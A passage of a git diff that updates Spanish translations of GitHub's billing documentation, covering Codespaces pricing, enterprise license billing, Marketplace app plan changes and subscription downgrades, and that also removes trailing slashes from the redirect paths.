   - /articles/viewing-your-git-large-file-storage-usage
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage
 versions:
diff --git a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
index a2767a2c33..9185af1e69 100644
--- a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
+++ b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
@@ -19,14 +19,14 @@ El uso de {% data variables.product.prodname_codespaces %} se factura para todas
 
 El uso de {% data variables.product.prodname_codespaces %} se cobra de acuerdo con las unidades de medida en la siguiente tabla:
 
-| Producto           | SKU            | Unit of measure | Price |
-| ------------------ | -------------- | --------------- | ----- |
-| Codespaces Compute | 2 núcleos      | 1 hour          | $0.18 |
-|                    | 4 núcleos      | 1 hour          | $0.36 |
-|                    | 8 núcleos      | 1 hour          | $0.72 |
-|                    | 16 núcleos     | 1 hour          | $1.44 |
-|                    | 32 núcleos     | 1 hour          | $2.88 |
-| Codespaces Storage | Almacenamiento | 1 GB-month      | $0.07 |
+| Producto                     | SKU            | Unidad de medida | Precio |
+| ---------------------------- | -------------- | ---------------- | ------ |
+| Cálculos de codespaces       | 2 núcleos      | 1 hora           | $0.18  |
+|                              | 4 núcleos      | 1 hora           | $0.36  |
+|                              | 8 núcleos      | 1 hora           | $0.72  |
+|                              | 16 núcleos     | 1 hora           | $1.44  |
+|                              | 32 núcleos     | 1 hora           | $2.88  |
+| Almacenamiento de codespaces | Almacenamiento | 1 GB-mes         | $0.07  |
 
 ## Acerca de la facturación para {% data variables.product.prodname_codespaces %}
 
@@ -48,6 +48,12 @@ Para obtener más información sobre cómo administrar y cambiar el límite de g
 
 {% data reusables.codespaces.exporting-changes %}
 
+## Limiting the choice of machine types
+
+The type of machine a user chooses when they create a codespace affects the per-minute charge for that codespace, as shown above.
+
+Organization owners can create a policy to restrict the machine types that are available to users. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
 ## Cómo se maneja la facturación para los repositorios bifurcados
 
 Los {% data variables.product.prodname_codespaces %} solo pueden utilizarse en las organizaciones donde se haya definido un propietario al que se le pueda facturar. Para incurrir en cargos a la organización, el usuario debe ser un miembro o colaborador, de lo contrario, no podrán crear un codespace.
diff --git a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
index 67a1ec57bf..6ce4e45299 100644
--- a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
+++ b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
@@ -57,3 +57,8 @@ Los propietarios de la empresa y gerentes de facturación pueden administrar el
 Las notificaciones por correo electrónico se envían a los propietarios de las cuentas y gerentes de facturación cuando el límite de gastos llega a 50%, 75%, y 90% del límite de gastos de tu cuenta.
 
 Puedes inhabilitar estas notificaciones en cualquier momento si navegas al final de la página del **Límite de Gastos**.
+
+## Leer más
+
+- "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
+- "[Managing billing for Codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
diff --git a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
index 536a43e89f..7a25cb97b6 100644
--- a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
+++ b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
@@ -19,6 +19,7 @@ Los propietarios de la organización y gerentes de facturación pueden ver el us
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.codespaces-minutes %}
+{% data reusables.dotcom_billing.codespaces-report-download %}
 
 ## Visualizar el uso de {% data variables.product.prodname_codespaces %} para tu cuenta empresarial
 
diff --git a/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md b/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
index ca063949d5..a69da6d374 100644
--- a/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
+++ b/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
@@ -3,8 +3,8 @@ title: Cancelar una app Mercado GitHub
 intro: 'Puedes cancelar y eliminar una app {% data variables.product.prodname_marketplace %} desde tu cuenta en cualquier momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app
-  - /articles/canceling-an-app-for-your-personal-account/
-  - /articles/canceling-an-app-for-your-organization/
+  - /articles/canceling-an-app-for-your-personal-account
+  - /articles/canceling-an-app-for-your-organization
   - /articles/canceling-a-github-marketplace-app
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app
 versions:
diff --git a/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
index 7fd6b91fb8..9d7ee992ea 100644
--- a/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
+++ b/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -3,8 +3,8 @@ title: Bajar de categoría el plan de facturación para la app Mercado GitHub
 intro: 'Si deseas usar un plan de facturación diferente, puedes bajar de categoría tu app {% data variables.product.prodname_marketplace %} en cualquier momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app
-  - /articles/downgrading-an-app-for-your-personal-account/
-  - /articles/downgrading-an-app-for-your-organization/
+  - /articles/downgrading-an-app-for-your-personal-account
+  - /articles/downgrading-an-app-for-your-organization
   - /articles/downgrading-the-billing-plan-for-a-github-marketplace-app
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app
 versions:
diff --git a/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/index.md b/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/index.md
index 04e0a865ee..9736a4cb0e 100644
--- a/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/index.md
+++ b/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/index.md
@@ -4,8 +4,8 @@ shortTitle: Apps de GitHub Marketplace
 intro: 'Puedes actualizar, bajar de categoría, o cancelar aplicaciones {% data variables.product.prodname_marketplace %} en cualquier momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps
-  - /articles/managing-your-personal-account-s-apps/
-  - /articles/managing-your-organization-s-apps/
+  - /articles/managing-your-personal-account-s-apps
+  - /articles/managing-your-organization-s-apps
   - /articles/managing-billing-for-github-marketplace-apps
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
index 5cc0a513b0..6a9a3a82f6 100644
--- a/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
+++ b/translations/es-ES/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -3,8 +3,8 @@ title: Subir de categoría el plan de facturación de una app del Mercado GitHub
 intro: 'Puedes subir de categoría tu {% data variables.product.prodname_marketplace %} app a un plan diferente en cualquier momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app
-  - /articles/upgrading-an-app-for-your-personal-account/
-  - /articles/upgrading-an-app-for-your-organization/
+  - /articles/upgrading-an-app-for-your-personal-account
+  - /articles/upgrading-an-app-for-your-organization
   - /articles/upgrading-the-billing-plan-for-a-github-marketplace-app
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app
 versions:
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
index 0a10a1db9f..9ed9f73af7 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
@@ -3,12 +3,12 @@ title: Acerca de la facturación para las cuentas de GitHub
 intro: '{% data variables.product.company_short %} ofrece productos gratuitos y pagos para cada programador o equipo.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-accounts
-  - /articles/what-is-the-total-cost-of-using-an-organization-account/
-  - /articles/what-are-the-costs-of-using-an-organization-account/
-  - /articles/what-plan-should-i-choose/
-  - /articles/do-you-have-custom-plans/
-  - /articles/user-account-billing-plans/
-  - /articles/organization-billing-plans/
+  - /articles/what-is-the-total-cost-of-using-an-organization-account
+  - /articles/what-are-the-costs-of-using-an-organization-account
+  - /articles/what-plan-should-i-choose
+  - /articles/do-you-have-custom-plans
+  - /articles/user-account-billing-plans
+  - /articles/organization-billing-plans
   - /articles/github-s-billing-plans
   - /articles/about-billing-for-github-accounts
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/about-billing-for-github-accounts
@@ -24,12 +24,14 @@ topics:
 shortTitle: Acerca de la facturación
 ---
 
-Para obtener más información sobre los productos disponibles para tu cuenta, consulta los productos de"[{% data variables.product.prodname_dotcom %}](/articles/github-s-products)". Puedes ver los precios y una lista completa de las funciones de cada producto en <{% data variables.product.pricing_url %}>. {% data variables.product.product_name %} no ofrece productos personalizados ni suscripciones.
+Para obtener más información sobre los productos que están disponibles para tu cuenta, consulta la sección "[productos de {% data variables.product.prodname_dotcom %}](/articles/github-s-products)". Puedes ver los precios y una lista completa de las funciones de cada producto en <{% data variables.product.pricing_url %}>. {% data variables.product.product_name %} no ofrece productos personalizados ni suscripciones.
 
 Puedes elegir una facturación mensual o anual y puedes actualizar o bajar de categoría tu suscripción en cualquier momento. Para obtener más información, consulta "[Administrar la facturación para tu cuenta de {% data variables.product.prodname_dotcom %}](/articles/managing-billing-for-your-github-account)".
 
 Puedes comprar otras características o productos con tu información de pago de {% data variables.product.product_name %} existente. Para obtener más información, consulta "[Acerca de la facturación en {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)".
 
+{% data reusables.accounts.accounts-billed-separately %}
+
 {% data reusables.user_settings.context_switcher %}
 
 {% tip %}
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
index d3615d9aa8..1389e20237 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
-title: About billing for your enterprise
-intro: You can view billing information for your enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Acerca de la facturación de tu empresa
+intro: Puedes visualizar la información de facturación para tu empresa.
 redirect_from:
   - /admin/overview/managing-billing-for-your-enterprise
   - /enterprise/admin/installation/managing-billing-for-github-enterprise
@@ -14,56 +13,56 @@ versions:
 type: overview
 topics:
   - Enterprise
-shortTitle: Billing for your enterprise
+shortTitle: Facturación de tu empresa
 ---
 
-## About billing for your enterprise
+## Acerca de la facturación para tu empresa
 
 {% ifversion ghae %}
 
-{% data reusables.github-ae.about-billing %} Once per day, {% data variables.product.prodname_dotcom %} will count the number of users with a license for your enterprise. {% data variables.product.company_short %} bills you for each licensed user regardless of whether the user logged into {% data variables.product.prodname_ghe_managed %} that day.
+{% data reusables.github-ae.about-billing %} Una vez por día, {% data variables.product.prodname_dotcom %} contará la cantidad de usuarios en tu empresa que tengan una licencia. {% data variables.product.company_short %} te cobra por cada usuario con una licencia sin importar si éstos han ingresado en {% data variables.product.prodname_ghe_managed %} ese día.
 
-For commercial regions, the price per user per day is $1.2580645161. For 31-day months, the monthly cost for each user is $39. For months with fewer days, the monthly cost is lower. Each billing month begins at a fixed time on the first day of the calendar month.
+Para las regiones comerciales, el precio por usuario por día es de $1.2580645161. Para los meses de 31 días, el costo mensual de cada usuario es de $39. Para los meses que tienen menos días, el costo mensual es menor. Cada mes de facturación comienza en una hora fija del primer día calendario de cada mes.
 
-If you add a licensed user mid-month, that user will only be included in the count for the days they have a license. When you remove a licensed user, that user will remain in the count until the end of that month. Therefore, if you add a user mid-month and later remove the user in the same month, the user will be included in the count from the day the user was added through the end of the month. There is no additional cost if you re-add a user during the same month the user was removed.
+Si agregas un usuario licenciado a mitad de mes, éste solo se incluirá en el conteo de los días en los que haya tenido una licencia. Cuando elimines a un usuario con licencia, éste permanecerá en el conteo hasta el final de dicho mes. Por lo tanto, si agregas a un usuario a mitad de mes y después lo eliminas en el mismo mes, el usuario se incluirá en la cuenta desde el día que el usuario se agregó hasta el final del mes. No existe costo adicional si vuelves a agregar a un usuario durante el mismo mes en el que se eliminó.
 
-For example, here are the costs for users with licenses on different dates.
+Por ejemplo, aquí mostramos los costos para los usuarios con licencias en fechas diferentes.
 
-User | License dates | Counted days | Cost
----- | ------------ | ------- | -----
-@octocat | January 1 - January 31 | 31 | $39
-@robocat | February 1 - February 28 | 28 | $35.23
-@devtocat  | January 15 - January 31 | 17 | $21.39
-@doctocat | January 1 - January 15 | 31 | $39
-@prodocat | January 7 - January 15 | 25 | $31.45
-@monalisa | January 1 - January 7,<br>January 15 - January 31 | 31 | $39
+| Usuario   | Fechas de licencia                              | Días contados | Costo  |
+| --------- | ----------------------------------------------- | ------------- | ------ |
+| @octocat  | Enero 1 - Enero 31                              | 31            | $39    |
+| @robocat  | Febrero 1 - Febrero 28                          | 28            | $35.23 |
+| @devtocat | Enero 15 - Enero 31                             | 17            | $21.39 |
+| @doctocat | Enero 1 - Enero 15                              | 31            | $39    |
+| @prodocat | Enero 7 - Enero 15                              | 25            | $31.45 |
+| @monalisa | Enero 1 - Enero 7,<br>Enero 15 - Enero 31 | 31            | $39    |
 
-{% data variables.product.prodname_ghe_managed %} has a 500-user minimum per instance. {% data variables.product.company_short %} bills you for a minimum of 500 users per instance, even if there are fewer than 500 users with a license that day.
+{% data variables.product.prodname_ghe_managed %} tiene un mínimo de 500 usuarios por instancia. {% data variables.product.company_short %} te cobra por un mínimo de 500 usuarios por instancia, aún si hay menos de 500 usuarios con una licencia en ese día.
 
-You can see your current usage in your [Azure account portal](https://portal.azure.com).
+Puedes ver tu uso actual en tu [Portal de cuenta de Azure](https://portal.azure.com).
 
 {% elsif ghec or ghes %}
 
 {% ifversion ghec %}
 
-{% data variables.product.company_short %} bills monthly for the total number of members in your enterprise account, as well as any additional services you use with {% data variables.product.prodname_ghe_cloud %}.
+{% data variables.product.company_short %} cobra mensualmente por la cantidad total de miembros en tu cuenta empresarial, así como por cualquier servicio que utilices con {% data variables.product.prodname_ghe_cloud %}.
 
 {% elsif ghes %}
 
-Each user on {% data variables.product.product_location %} consumes a seat on your license. {% data variables.product.company_short %} bills monthly for the total number of seats consumed on your license.
+Cada usuario en {% data variables.product.product_location %} consume una plaza en tu licencia. {% data variables.product.company_short %} cobra mensualmente por la cantidad total de plazas que se consumen en tu licencia.
 
 {% endif %}
 
-{% data reusables.billing.about-invoices-for-enterprises %} For more information about usage and invoices, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" and {% ifversion ghes %}"[Managing invoices for your enterprise](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}"[Managing invoices for your enterprise](/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)."{% endif %}
+{% data reusables.billing.about-invoices-for-enterprises %} Para obtener más información sobre el uso y las facturas, consulta las secciones "[Ver la suscripción y uso de tu cuenta empresarial](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" y {% ifversion ghes %}"[Administrar las facturas en tu empresa](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% elsif ghec %}"[Administrar las facturas de tu empresa](/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)".{% endif %}
 
-Administrators for your enterprise account on {% data variables.product.prodname_dotcom_the_website %} can access and manage billing for the enterprise.
+Los administradores de tu cuenta empresarial de {% data variables.product.prodname_dotcom_the_website %} pueden acceder y administrar la facturación de la empresa.
 
 {% ifversion ghec %}
 
-Each member of your enterprise account with a unique email address consumes a license. Billing managers do not consume a license. Each outside collaborator on a private repository that an organization in your enterprise owns consumes a license, unless the private repository is a fork. Each invitee to your enterprise account, including owners, members of organizations, and outside collaborators, consume a license. For more information about roles in an enterprise account, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" and "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)."
+Cada miembro de tu cuenta empresarial con una dirección de correo electrónico única consumirá una plaza. Los gerentes de facturación no consumen plazas. Cada colaborador externo de un repositorio privado que pertenezca a una organización en tu empresa consumirá una licencia, a menos de que dicho repositorio privado sea una bifurcación. Cada invitado a tu cuenta empresarial, incluyendo a los propietarios, miembros de las organizaciones y colaboradores externos, consumirán una licencia. Para obtener más información sobre los roles en una cuenta empresarial, consulta las secciones "[Roles en una empresa](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" y "[Invitar a personas para que administren tu empresa](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)".
 
 {% ifversion ghec %}
-{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
+{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} Para obtener más información, consulta la sección "[Conectar una suscripción de Azure a tu empresa](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)".
 {% endif %}
 
 {% endif %}
@@ -74,15 +73,15 @@ Each member of your enterprise account with a unique email address consumes a li
 
 {% endif %}
 
-## About synchronization of license usage
+## Acerca de la sincronización del uso de licencias
 
 {% data reusables.enterprise.about-deployment-methods %}
 
-{% data reusables.enterprise-licensing.about-license-sync %} For more information, see {% ifversion ghec %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %}
+{% data reusables.enterprise-licensing.about-license-sync %} Para obtener más información, consulta la sección {% ifversion ghec %}"[Sincronizar el uso de licencias entre {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" en la documentación de {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}"[Sincronizar el uso de licencias entre {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)".{% endif %}
 
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"{% ifversion ghec or ghes %}
-- "[About licenses for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)"{% endif %}
+- "[Acerca de las cuentas empresariales](/admin/overview/about-enterprise-accounts)"{% ifversion ghec or ghes %}
+- "[Acerca de las licencias para GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)"{% endif %}
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
index 81be402e92..4fef97b5ba 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Conectar una suscripción de Azure a tu empresa
 intro: 'Puedes utilizar tu Acuerdo de Microsoft Enterprise para habilitar y pagar por el uso de las {% data variables.product.prodname_actions %} y del {% data variables.product.prodname_registry %} más allá de las cantidades que se incluyen para tu empresa.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise
   - /github/setting-up-and-managing-billing-and-payments-on-github/connecting-an-azure-subscription-to-your-enterprise
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
index 0dc25db5cf..6209f8ad3b 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
@@ -3,9 +3,9 @@ title: Discounted subscriptions for GitHub accounts
 intro: '{% data variables.product.product_name %} provides discounts to students, educators, educational institutions, nonprofits, and libraries.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts
-  - /articles/discounted-personal-accounts/
-  - /articles/discounted-organization-accounts/
-  - /articles/discounted-billing-plans/
+  - /articles/discounted-personal-accounts
+  - /articles/discounted-organization-accounts
+  - /articles/discounted-billing-plans
   - /articles/discounted-subscriptions-for-github-accounts
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts
 versions:
diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
index ae33f9c7f4..ab97c96951 100644
--- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
+++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
@@ -1,20 +1,20 @@
 ---
-title: Downgrading your GitHub subscription
-intro: 'You can downgrade the subscription for any type of account on {% data variables.product.product_location %} at any time.'
+title: Bajar de categoría tu suscripción de GitHub
+intro: 'Puedes bajar tu suscripción de nivel en cualquier tipo de cuenta de {% data variables.product.product_location %} y en cualquier momento.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-your-github-subscription
-  - /articles/downgrading-your-personal-account-s-billing-plan/
-  - /articles/how-do-i-cancel-my-account/
-  - /articles/downgrading-a-user-account-to-free/
-  - /articles/removing-paid-seats-from-your-organization/
-  - /articles/downgrading-your-organization-s-paid-seats/
-  - /articles/downgrading-your-organization-s-billing-plan/
-  - /articles/downgrading-an-organization-with-per-seat-pricing-to-free/
-  - /articles/downgrading-an-organization-with-per-repository-pricing-to-free/
-  - /articles/downgrading-your-organization-to-free/
-  - /articles/downgrading-your-organization-from-the-business-plan-to-the-team-plan/
-  - /articles/downgrading-your-organization-from-github-business-cloud-to-the-team-plan/
-  - /articles/downgrading-your-github-billing-plan/
+  - /articles/downgrading-your-personal-account-s-billing-plan
+  - /articles/how-do-i-cancel-my-account
+  - /articles/downgrading-a-user-account-to-free
+  - /articles/removing-paid-seats-from-your-organization
+  - /articles/downgrading-your-organization-s-paid-seats
+  - /articles/downgrading-your-organization-s-billing-plan
+  - /articles/downgrading-an-organization-with-per-seat-pricing-to-free
+  - /articles/downgrading-an-organization-with-per-repository-pricing-to-free
+  - /articles/downgrading-your-organization-to-free
+  - /articles/downgrading-your-organization-from-the-business-plan-to-the-team-plan
+  - /articles/downgrading-your-organization-from-github-business-cloud-to-the-team-plan
+  - /articles/downgrading-your-github-billing-plan
   - /articles/downgrading-your-github-subscription
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/downgrading-your-github-subscription
 versions:
@@ -26,71 +26,62 @@ topics:
   - Organizations
   - Repositories
   - User account
-shortTitle: Downgrade subscription
+shortTitle: Bajar una suscripción de categoría
 ---
-## Downgrading your {% data variables.product.product_name %} subscription
 
-When you downgrade your user account or organization's subscription, pricing and account feature changes take effect on your next billing date. Changes to your paid user account or organization subscription does not affect subscriptions or payments for other paid {% data variables.product.prodname_dotcom %} features. For more information, see "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)."
+## Bajar de nivel tu suscripción de {% data variables.product.product_name %}
 
-## Downgrading your user account's subscription
+Cuando bajas de nivel tu suscricpión de cuenta de usuario o de organización, los precios y características cambian y toman efecto en tu siguiente fecha de facturación. Los cambios a tu suscripción de cuenta de usuario u organización no afectan aquellas suscripciones o pagos para otras características pagadas de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[¿Cómo afecta subir o bajar de categoría el proceso de facturación?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)."
 
-If you downgrade your user account from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, the account will lose access to advanced code review tools on private repositories. {% data reusables.gated-features.more-info %}
+## Bajar de nivel tu suscripción de cuenta de usuario
+
+Si bajas tu cuenta de usuario de nivel desde {% data variables.product.prodname_pro %} a {% data variables.product.prodname_free_user %}, esta perderá acceso a las herramientas avanzadas de revisión de código en los repositorios privados. {% data reusables.gated-features.more-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
-1. Under "Current plan", use the **Edit** drop-down and click **Downgrade to Free**.
-  ![Downgrade to free button](/assets/images/help/billing/downgrade-to-free.png)
-5. Read the information about the features your user account will no longer have access to on your next billing date, then click **I understand. Continue with downgrade**.
-  ![Continue with downgrade button](/assets/images/help/billing/continue-with-downgrade.png)
+1. Debajo de "Plan actual", utiliza el menú desplegable **Editar** y haz clic en **Bajar de categoría a gratuito**. ![Botón Downgrade to free (Bajar de categoría a gratis)](/assets/images/help/billing/downgrade-to-free.png)
+5. Lee la información sobre de las características a las cuales perderá acceso tu cuenta de usuario en tu siguiente fecha de facturación, y luego da clic en **Entiendo. Bajar de nivel**. ![Botón de proceder con la baja de categoría](/assets/images/help/billing/continue-with-downgrade.png)
 
-If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, remove or update your DNS records before downgrading from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+Si publicaste un sitio de {% data variables.product.prodname_pages %} en un repositorio privado y añadiste un dominio personalizado, retira o actualiza tus registros de DNS antes de bajarlo de nivel desde {% data variables.product.prodname_pro %} a {% data variables.product.prodname_free_user %}, para evitar el riesgo de que te ganen el dominio. Para obtener más información, consulta "[Administrar un dominio personalizado para tu sitio de {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".
 
-## Downgrading your organization's subscription
+## Bajar de nivel tu suscripción de orgnización
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-If you downgrade your organization from {% data variables.product.prodname_team %} to {% data variables.product.prodname_free_team %} for an organization, the account will lose access to advanced collaboration and management tools for teams.
+Si bajas tu organización de nivel desde {% data variables.product.prodname_team %} a {% data variables.product.prodname_free_team %} para organizaciones, la cuenta perderá acceso a las herramientas de administración y colaboración para equipos.
 
-If you downgrade your organization from {% data variables.product.prodname_ghe_cloud %} to {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_team %}, the account will lose access to advanced security, compliance, and deployment controls. {% data reusables.gated-features.more-info %}
+Si bajas a tu organización de nivel desde {% data variables.product.prodname_ghe_cloud %} a {% data variables.product.prodname_team %} o {% data variables.product.prodname_free_team %}, la cuenta perderá acceso a los controles avanzados de seguridad, cumplimiento y despliegue. {% data reusables.gated-features.more-info %}
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Current plan", use the **Edit** drop-down and click the downgrade option you want.
